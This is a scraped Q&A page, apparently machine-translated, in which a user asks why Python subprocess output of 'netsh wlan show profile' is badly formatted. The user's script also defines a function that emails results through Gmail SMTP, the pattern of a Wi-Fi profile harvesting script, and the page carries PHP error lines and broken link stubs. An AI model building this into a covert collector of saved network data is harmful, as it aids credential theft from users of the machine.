Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/335.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
代码的输出不是正确的shell格式,我正在使用Python3.9并使用子流程模块运行命令行_Python - Fatal编程技术网

代码的输出不是正确的shell格式,我正在使用Python3.9并使用子流程模块运行命令行

代码的输出不是正确的shell格式,我正在使用Python3.9并使用子流程模块运行命令行,python,Python,代码的输出不是很好的格式,我已经添加了代码和输出图像的链接,第一个图像是我得到的输出,第二个链接是我在windows中使用python 3.9解释器所需的输出 输出我得到了正确的结果,但格式不正确: ,,,,, 通过直接在命令行中运行命令以正确格式输出: #!/usr/bin/env python import subprocess, smtplib, re def send_mail(email, password, result): server = smtplib.SMTP(

代码的输出不是很好的格式,我已经添加了代码和输出图像的链接,第一个图像是我得到的输出,第二个链接是我在windows中使用python 3.9解释器所需的输出

输出我得到了正确的结果,但格式不正确:

,,,,, 通过直接在命令行中运行命令以正确格式输出:

#!/usr/bin/env python
import subprocess, smtplib, re


def send_mail(email, password, result):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, result)
    server.quit()


command = "netsh wlan show profile"
result = subprocess.check_output(command, shell=True)
print(result)


链接在哪里?试试这个:
result=str(subprocess.check_output(command,shell=True))
Hi,问题到底是什么?